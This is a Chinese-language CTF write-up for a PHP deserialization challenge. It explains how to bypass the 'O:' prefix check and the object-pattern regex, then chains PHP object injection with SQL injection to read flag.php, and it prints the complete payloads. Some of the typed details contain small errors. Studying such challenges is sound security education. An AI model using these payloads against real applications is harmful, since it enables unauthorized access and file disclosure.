题目一共三个文件:
https://pan.baidu.com/s/1OfYZEZ7qWcv2I9OwlcU6_A
反序列化漏洞的详细说明可在这篇博客上了解到,讲解还是比较详细的:
https://blog.csdn.net/qq_19876131/article/details/52890854
【PHP反序列化漏洞 附题目】本题目主要就是利用HITCON
和SoFun
两个类中的__wakeup
函数,我们可以控制HITCON
对象的$method
和$args
变量,来进行SQL
注入,注入语句如下:
1' and 1=2 unionc select 1,2 ','a:1:{i:0;
O:5:"SoFun":2:{s:4:"file";
s:8:"flag.php";
}}'--
注意后面的
SQL
注释符号是两个下划线和一个空格
因为我们要绕过
substr($data, 0, 2) !== 'O:'
,所以就不能单纯地序列化一个对象,而是把对象包裹在数组中来绕过这个过滤条件,构造的时候是这样的:$a = array(new SoFun())
这样序列化之后最前面的字符串就变成了
a:
,然后再考虑如何绕过正则表达式,因为题目中只是过滤了O:\d:
模式串,我们只要破坏\d
就行了,PHP
的反序列化函数unserialize
的参数中的数字是可以有+
号的,所以我们在构造完payload
之后,在SoFun
的序列化字符串中把5
前面加上经过url
编码之后的+
也就是%2B
即可,不要忘了把HITCON
对象序列化字符串中表示参数长度的s
的值加1,然后我们就能顺利得到flag
了。payload
如下:O:6:"HITCON":4:{s:6:"method";
s:5:"login";
s:4:"args";
a:2:{i:0;
s:86:"1' and 1=2 union select 1,2,'a:1:{i:0;
O:%2B5:"SoFun":2:{s:4:"file";
s:8:"flag.php";
}}'-- ";
i:1;
s:1:" ";
}s:4:"conn";
i:0;
}
推荐阅读
- Python进阶|警惕 Python 中少为人知的 10 个安全陷阱
- k8s|k8s(六)(配置管理与集群安全机制)
- Java程序|软件测试八款优秀的API安全测试工具,会用三款工作效率能提升50%
- 内网渗透|内网渗透-最实用的信息收集
- 定位|浅谈大规模红蓝对抗攻与防
- 计算机网络重点回顾